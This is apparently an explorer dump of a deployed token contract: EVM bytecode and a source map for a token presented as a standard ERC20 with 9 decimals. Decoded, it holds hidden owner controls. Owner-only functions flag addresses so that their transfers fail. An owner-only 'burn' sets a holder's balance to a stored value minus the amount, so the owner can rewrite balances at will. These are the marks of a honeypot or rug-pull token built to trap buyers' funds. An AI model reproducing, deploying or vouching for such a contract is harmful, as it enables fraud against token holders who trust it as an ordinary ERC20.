0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806395d89b4111610097578063b3d22e9c11610066578063b3d22e9c146102ae578063b67df420146102ca578063dd62ed3e146102e6578063e22fb73014610316576100f5565b806395d89b41146102145780639dc29fac14610232578063a457c2d71461024e578063a9059cbb1461027e576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610346565b60405161010f91906115b2565b60405180910390f35b610132600480360381019061012d9190611351565b6103d8565b60405161013f9190611597565b60405180910390f35b6101506103f6565b60405161015d9190611754565b60405180910390f35b610180600480360381019061017b9190611302565b610400565b60405161018d9190611597565b60405180910390f35b61019e610501565b6040516101ab919061176f565b60405180910390f35b6101ce60048036038101906101c99190611351565b610529565b6040516101db9190611597565b60405180910390f35b6101fe60048036038101906101f9919061129d565b6105d5565b60405161020b9190611754565b60405180910390f35b61021c61061e565b60405161022991906115b2565b60405180910390f35b61024c60048036038101906102479190611351565b6106b0565b005b61026860048036038101906102639190611351565b61074c565b6040516102759190611597565b60405180910390f35b61029860048036038101906102939190611351565b610840565b6040516102a59190611597565b60405180910390f35b6102c860048036038101906102c3919061129d565b61085e565b005b6102e460048036038101906102df919061129d565b610947565b005b61030060048036038101906102fb91906112c6565b610a30565b60405161030d9190611754565b60405180910390f35b610330600480360381019061032b919061129d565b610ab7565b60405161033d9190611597565b60405180910390f35b606060088054610355906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610381906118b8565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b60006103ec6103e5610b0d565b8484610b15565b6001905092915050565b6000600554905090565b600061040d848484610ce0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610458610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cf90611674565b60405180910390fd5b6104f5856104e4610b0d565b85846104f091906117fc565b610b15565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000009905090565b60006105cb610536610b0d565b848460036000610544610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c691906117a6565b610b15565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606009805461062d906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610659906118b8565b80156106a65780601f1061067b576101008083540402835291602001916106a6565b820191906000526020600020905b81548152906001019060200180831161068957829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073590611694565b60405180910390fd5b61074882826110a2565b5050565b6000806003600061075b610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080f90611734565b60405180910390fd5b610835610823610b0d565b85858461083091906117fc565b610b15565b600191505092915050565b600061085461084d610b0d565b8484610ce0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611694565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cc90611694565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90611714565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611634565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd39190611754565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d47906116d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906115d4565b60405180910390fd5b60008111610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611614565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ea45750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f005760001515600660009054906101000a900460ff16151514610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef6906116f4565b60405180910390fd5b5b610f0b83838361126e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990611654565b60405180910390fd5b8181610f9e91906117fc565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103091906117a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110949190611754565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906116b4565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906115f4565b60405180910390fd5b816007546111a791906117fc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546111fc91906117fc565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112619190611754565b60405180910390a3505050565b505050565b60008135905061128281611c9b565b92915050565b60008135905061129781611cb2565b92915050565b6000602082840312156112af57600080fd5b60006112bd84828501611273565b91505092915050565b600080604083850312156112d957600080fd5b60006112e785828601611273565b92505060206112f885828601611273565b9150509250929050565b60008060006060848603121561131757600080fd5b600061132586828701611273565b935050602061133686828701611273565b925050604061134786828701611288565b9150509250925092565b6000806040838503121561136457600080fd5b600061137285828601611273565b925050602061138385828601611288565b9150509250929050565b61139681611842565b82525050565b60006113a78261178a565b6113b18185611795565b93506113c1818560208601611885565b6113ca81611948565b840191505092915050565b60006113e2602383611795565b91506113ed82611959565b604082019050919050565b6000611405602283611795565b9150611410826119a8565b604082019050919050565b6000611428602983611795565b9150611433826119f7565b604082019050919050565b600061144b602283611795565b915061145682611a46565b604082019050919050565b600061146e602683611795565b915061147982611a95565b604082019050919050565b6000611491602883611795565b915061149c82611ae4565b604082019050919050565b60006114b4602083611795565b91506114bf82611b33565b602082019050919050565b60006114d7602183611795565b91506114e282611b5c565b604082019050919050565b60006114fa602583611795565b915061150582611bab565b604082019050919050565b600061151d600083611795565b915061152882611bfa565b600082019050919050565b6000611540602483611795565b915061154b82611bfd565b604082019050919050565b6000611563602583611795565b915061156e82611c4c565b604082019050919050565b6115828161186e565b82525050565b61159181611878565b82525050565b60006020820190506115ac600083018461138d565b92915050565b600060208201905081810360008301526115cc818461139c565b905092915050565b600060208201905081810360008301526115ed816113d5565b9050919050565b6000602082019050818103600083015261160d816113f8565b9050919050565b6000602082019050818103600083015261162d8161141b565b9050919050565b6000602082019050818103600083015261164d8161143e565b9050919050565b6000602082019050818103600083015261166d81611461565b9050919050565b6000602082019050818103600083015261168d81611484565b9050919050565b600060208201905081810360008301526116ad816114a7565b9050919050565b600060208201905081810360008301526116cd816114ca565b9050919050565b600060208201905081810360008301526116ed816114ed565b9050919050565b6000602082019050818103600083015261170d81611510565b9050919050565b6000602082019050818103600083015261172d81611533565b9050919050565b6000602082019050818103600083015261174d81611556565b9050919050565b60006020820190506117696000830184611579565b92915050565b60006020820190506117846000830184611588565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117b18261186e565b91506117bc8361186e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f1576117f06118ea565b5b828201905092915050565b60006118078261186e565b91506118128361186e565b925082821015611825576118246118ea565b5b828203905092915050565b600061183b8261184e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118a3578082015181840152602081019050611888565b838111156118b2576000848401525b50505050565b600060028204905060018216806118d057607f821691505b602082108114156118e4576118e3611919565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ca481611830565b8114611caf57600080fd5b50565b611cbb8161186e565b8114611cc657600080fd5b5056fea2646970667358221220bcc1affded856df4779b316113e2b7e1b105f7a5b2b41b5c481d791049766bcd64736f6c63430008020033

Deployed Bytecode Sourcemap

14949:673:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6253:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8750:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7703:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9401:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15400:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10228:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7874:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6472:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15512:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10946:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8214:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7424:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7315:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8452:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7530:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6253:100;6307:13;6340:5;6333:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6253:100;:::o;8750:169::-;8833:4;8850:39;8859:12;:10;:12::i;:::-;8873:7;8882:6;8850:8;:39::i;:::-;8907:4;8900:11;;8750:169;;;;:::o;7703:108::-;7764:7;7791:12;;7784:19;;7703:108;:::o;9401:418::-;9507:4;9524:36;9534:6;9542:9;9553:6;9524:9;:36::i;:::-;9571:24;9598:11;:19;9610:6;9598:19;;;;;;;;;;;;;;;:33;9618:12;:10;:12::i;:::-;9598:33;;;;;;;;;;;;;;;;9571:60;;9670:6;9650:16;:26;;9642:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9732:57;9741:6;9749:12;:10;:12::i;:::-;9782:6;9763:16;:25;;;;:::i;:::-;9732:8;:57::i;:::-;9807:4;9800:11;;;9401:418;;;;;:::o;15400:100::-;15458:5;15483:9;15476:16;;15400:100;:::o;10228:215::-;10316:4;10333:80;10342:12;:10;:12::i;:::-;10356:7;10402:10;10365:11;:25;10377:12;:10;:12::i;:::-;10365:25;;;;;;;;;;;;;;;:34;10391:7;10365:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;10333:8;:80::i;:::-;10431:4;10424:11;;10228:215;;;;:::o;7874:127::-;7948:7;7975:9;:18;7985:7;7975:18;;;;;;;;;;;;;;;;7968:25;;7874:127;;;:::o;6472:104::-;6528:13;6561:7;6554:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6472:104;:::o;15512:107::-;6108:10;6098:20;;:6;;;;;;;;;;:20;;;6090:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;15589:22:::1;15595:7;15604:6;15589:5;:22::i;:::-;15512:107:::0;;:::o;10946:375::-;11039:4;11056:24;11083:11;:25;11095:12;:10;:12::i;:::-;11083:25;;;;;;;;;;;;;;;:34;11109:7;11083:34;;;;;;;;;;;;;;;;11056:61;;11156:15;11136:16;:35;;11128:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11224:67;11233:12;:10;:12::i;:::-;11247:7;11275:15;11256:16;:34;;;;:::i;:::-;11224:8;:67::i;:::-;11309:4;11302:11;;;10946:375;;;;:::o;8214:175::-;8300:4;8317:42;8327:12;:10;:12::i;:::-;8341:9;8352:6;8317:9;:42::i;:::-;8377:4;8370:11;;8214:175;;;;:::o;7424:98::-;6108:10;6098:20;;:6;;;;;;;;;;:20;;;6090:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;7510:4:::1;7489:8;:18;7498:8;7489:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;7424:98:::0;:::o;7315:101::-;6108:10;6098:20;;:6;;;;;;;;;;:20;;;6090:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;7403:5:::1;7382:8;:18;7391:8;7382:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;7315:101:::0;:::o;8452:151::-;8541:7;8568:11;:18;8580:5;8568:18;;;;;;;;;;;;;;;:27;8587:7;8568:27;;;;;;;;;;;;;;;;8561:34;;8452:151;;;;:::o;7530:108::-;7588:4;7612:8;:18;7621:8;7612:18;;;;;;;;;;;;;;;;;;;;;;;;;7605:25;;7530:108;;;:::o;3560:98::-;3613:7;3640:10;3633:17;;3560:98;:::o;13768:344::-;13887:1;13870:19;;:5;:19;;;;13862:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13968:1;13949:21;;:7;:21;;;;13941:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14050:6;14020:11;:18;14032:5;14020:18;;;;;;;;;;;;;;;:27;14039:7;14020:27;;;;;;;;;;;;;;;:36;;;;14088:7;14072:32;;14081:5;14072:32;;;14097:6;14072:32;;;;;;:::i;:::-;;;;;;;;13768:344;;;:::o;11818:756::-;11942:1;11924:20;;:6;:20;;;;11916:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12026:1;12005:23;;:9;:23;;;;11997:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12096:1;12087:6;:10;12079:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12158:8;:16;12167:6;12158:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;12178:8;:19;12187:9;12178:19;;;;;;;;;;;;;;;;;;;;;;;;;12158:39;12154:72;;;12216:5;12207:14;;:5;;;;;;;;;;;:14;;;12199:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;12154:72;12237:47;12258:6;12266:9;12277:6;12237:20;:47::i;:::-;12295:21;12319:9;:17;12329:6;12319:17;;;;;;;;;;;;;;;;12295:41;;12372:6;12355:13;:23;;12347:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12468:6;12452:13;:22;;;;:::i;:::-;12432:9;:17;12442:6;12432:17;;;;;;;;;;;;;;;:42;;;;12509:6;12485:9;:20;12495:9;12485:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;12548:9;12531:35;;12540:6;12531:35;;;12559:6;12531:35;;;;;;:::i;:::-;;;;;;;;11818:756;;;;:::o;12908:422::-;13011:1;12992:21;;:7;:21;;;;12984:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13062:22;13087:9;:18;13097:7;13087:18;;;;;;;;;;;;;;;;13062:43;;13142:6;13124:14;:24;;13116:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13230:6;13219:8;;:17;;;;:::i;:::-;13198:9;:18;13208:7;13198:18;;;;;;;;;;;;;;;:38;;;;13263:6;13247:12;;:22;;;;;;;:::i;:::-;;;;;;;;13311:1;13285:37;;13294:7;13285:37;;;13315:6;13285:37;;;;;;:::i;:::-;;;;;;;;12908:422;;;:::o;14715:92::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:109::-;2030:21;2045:5;2030:21;:::i;:::-;2025:3;2018:34;2008:50;;:::o;2064:364::-;;2180:39;2213:5;2180:39;:::i;:::-;2235:71;2299:6;2294:3;2235:71;:::i;:::-;2228:78;;2315:52;2360:6;2355:3;2348:4;2341:5;2337:16;2315:52;:::i;:::-;2392:29;2414:6;2392:29;:::i;:::-;2387:3;2383:39;2376:46;;2156:272;;;;;:::o;2434:366::-;;2597:67;2661:2;2656:3;2597:67;:::i;:::-;2590:74;;2673:93;2762:3;2673:93;:::i;:::-;2791:2;2786:3;2782:12;2775:19;;2580:220;;;:::o;2806:366::-;;2969:67;3033:2;3028:3;2969:67;:::i;:::-;2962:74;;3045:93;3134:3;3045:93;:::i;:::-;3163:2;3158:3;3154:12;3147:19;;2952:220;;;:::o;3178:366::-;;3341:67;3405:2;3400:3;3341:67;:::i;:::-;3334:74;;3417:93;3506:3;3417:93;:::i;:::-;3535:2;3530:3;3526:12;3519:19;;3324:220;;;:::o;3550:366::-;;3713:67;3777:2;3772:3;3713:67;:::i;:::-;3706:74;;3789:93;3878:3;3789:93;:::i;:::-;3907:2;3902:3;3898:12;3891:19;;3696:220;;;:::o;3922:366::-;;4085:67;4149:2;4144:3;4085:67;:::i;:::-;4078:74;;4161:93;4250:3;4161:93;:::i;:::-;4279:2;4274:3;4270:12;4263:19;;4068:220;;;:::o;4294:366::-;;4457:67;4521:2;4516:3;4457:67;:::i;:::-;4450:74;;4533:93;4622:3;4533:93;:::i;:::-;4651:2;4646:3;4642:12;4635:19;;4440:220;;;:::o;4666:366::-;;4829:67;4893:2;4888:3;4829:67;:::i;:::-;4822:74;;4905:93;4994:3;4905:93;:::i;:::-;5023:2;5018:3;5014:12;5007:19;;4812:220;;;:::o;5038:366::-;;5201:67;5265:2;5260:3;5201:67;:::i;:::-;5194:74;;5277:93;5366:3;5277:93;:::i;:::-;5395:2;5390:3;5386:12;5379:19;;5184:220;;;:::o;5410:366::-;;5573:67;5637:2;5632:3;5573:67;:::i;:::-;5566:74;;5649:93;5738:3;5649:93;:::i;:::-;5767:2;5762:3;5758:12;5751:19;;5556:220;;;:::o;5782:364::-;;5945:66;6009:1;6004:3;5945:66;:::i;:::-;5938:73;;6020:93;6109:3;6020:93;:::i;:::-;6138:1;6133:3;6129:11;6122:18;;5928:218;;;:::o;6152:366::-;;6315:67;6379:2;6374:3;6315:67;:::i;:::-;6308:74;;6391:93;6480:3;6391:93;:::i;:::-;6509:2;6504:3;6500:12;6493:19;;6298:220;;;:::o;6524:366::-;;6687:67;6751:2;6746:3;6687:67;:::i;:::-;6680:74;;6763:93;6852:3;6763:93;:::i;:::-;6881:2;6876:3;6872:12;6865:19;;6670:220;;;:::o;6896:118::-;6983:24;7001:5;6983:24;:::i;:::-;6978:3;6971:37;6961:53;;:::o;7020:112::-;7103:22;7119:5;7103:22;:::i;:::-;7098:3;7091:35;7081:51;;:::o;7138:210::-;;7263:2;7252:9;7248:18;7240:26;;7276:65;7338:1;7327:9;7323:17;7314:6;7276:65;:::i;:::-;7230:118;;;;:::o;7354:313::-;;7505:2;7494:9;7490:18;7482:26;;7554:9;7548:4;7544:20;7540:1;7529:9;7525:17;7518:47;7582:78;7655:4;7646:6;7582:78;:::i;:::-;7574:86;;7472:195;;;;:::o;7673:419::-;;7877:2;7866:9;7862:18;7854:26;;7926:9;7920:4;7916:20;7912:1;7901:9;7897:17;7890:47;7954:131;8080:4;7954:131;:::i;:::-;7946:139;;7844:248;;;:::o;8098:419::-;;8302:2;8291:9;8287:18;8279:26;;8351:9;8345:4;8341:20;8337:1;8326:9;8322:17;8315:47;8379:131;8505:4;8379:131;:::i;:::-;8371:139;;8269:248;;;:::o;8523:419::-;;8727:2;8716:9;8712:18;8704:26;;8776:9;8770:4;8766:20;8762:1;8751:9;8747:17;8740:47;8804:131;8930:4;8804:131;:::i;:::-;8796:139;;8694:248;;;:::o;8948:419::-;;9152:2;9141:9;9137:18;9129:26;;9201:9;9195:4;9191:20;9187:1;9176:9;9172:17;9165:47;9229:131;9355:4;9229:131;:::i;:::-;9221:139;;9119:248;;;:::o;9373:419::-;;9577:2;9566:9;9562:18;9554:26;;9626:9;9620:4;9616:20;9612:1;9601:9;9597:17;9590:47;9654:131;9780:4;9654:131;:::i;:::-;9646:139;;9544:248;;;:::o;9798:419::-;;10002:2;9991:9;9987:18;9979:26;;10051:9;10045:4;10041:20;10037:1;10026:9;10022:17;10015:47;10079:131;10205:4;10079:131;:::i;:::-;10071:139;;9969:248;;;:::o;10223:419::-;;10427:2;10416:9;10412:18;10404:26;;10476:9;10470:4;10466:20;10462:1;10451:9;10447:17;10440:47;10504:131;10630:4;10504:131;:::i;:::-;10496:139;;10394:248;;;:::o;10648:419::-;;10852:2;10841:9;10837:18;10829:26;;10901:9;10895:4;10891:20;10887:1;10876:9;10872:17;10865:47;10929:131;11055:4;10929:131;:::i;:::-;10921:139;;10819:248;;;:::o;11073:419::-;;11277:2;11266:9;11262:18;11254:26;;11326:9;11320:4;11316:20;11312:1;11301:9;11297:17;11290:47;11354:131;11480:4;11354:131;:::i;:::-;11346:139;;11244:248;;;:::o;11498:419::-;;11702:2;11691:9;11687:18;11679:26;;11751:9;11745:4;11741:20;11737:1;11726:9;11722:17;11715:47;11779:131;11905:4;11779:131;:::i;:::-;11771:139;;11669:248;;;:::o;11923:419::-;;12127:2;12116:9;12112:18;12104:26;;12176:9;12170:4;12166:20;12162:1;12151:9;12147:17;12140:47;12204:131;12330:4;12204:131;:::i;:::-;12196:139;;12094:248;;;:::o;12348:419::-;;12552:2;12541:9;12537:18;12529:26;;12601:9;12595:4;12591:20;12587:1;12576:9;12572:17;12565:47;12629:131;12755:4;12629:131;:::i;:::-;12621:139;;12519:248;;;:::o;12773:222::-;;12904:2;12893:9;12889:18;12881:26;;12917:71;12985:1;12974:9;12970:17;12961:6;12917:71;:::i;:::-;12871:124;;;;:::o;13001:214::-;;13128:2;13117:9;13113:18;13105:26;;13141:67;13205:1;13194:9;13190:17;13181:6;13141:67;:::i;:::-;13095:120;;;;:::o;13221:99::-;;13307:5;13301:12;13291:22;;13280:40;;;:::o;13326:169::-;;13444:6;13439:3;13432:19;13484:4;13479:3;13475:14;13460:29;;13422:73;;;;:::o;13501:305::-;;13560:20;13578:1;13560:20;:::i;:::-;13555:25;;13594:20;13612:1;13594:20;:::i;:::-;13589:25;;13748:1;13680:66;13676:74;13673:1;13670:81;13667:2;;;13754:18;;:::i;:::-;13667:2;13798:1;13795;13791:9;13784:16;;13545:261;;;;:::o;13812:191::-;;13872:20;13890:1;13872:20;:::i;:::-;13867:25;;13906:20;13924:1;13906:20;:::i;:::-;13901:25;;13945:1;13942;13939:8;13936:2;;;13950:18;;:::i;:::-;13936:2;13995:1;13992;13988:9;13980:17;;13857:146;;;;:::o;14009:96::-;;14075:24;14093:5;14075:24;:::i;:::-;14064:35;;14054:51;;;:::o;14111:90::-;;14188:5;14181:13;14174:21;14163:32;;14153:48;;;:::o;14207:126::-;;14284:42;14277:5;14273:54;14262:65;;14252:81;;;:::o;14339:77::-;;14405:5;14394:16;;14384:32;;;:::o;14422:86::-;;14497:4;14490:5;14486:16;14475:27;;14465:43;;;:::o;14514:307::-;14582:1;14592:113;14606:6;14603:1;14600:13;14592:113;;;14691:1;14686:3;14682:11;14676:18;14672:1;14667:3;14663:11;14656:39;14628:2;14625:1;14621:10;14616:15;;14592:113;;;14723:6;14720:1;14717:13;14714:2;;;14803:1;14794:6;14789:3;14785:16;14778:27;14714:2;14563:258;;;;:::o;14827:320::-;;14908:1;14902:4;14898:12;14888:22;;14955:1;14949:4;14945:12;14976:18;14966:2;;15032:4;15024:6;15020:17;15010:27;;14966:2;15094;15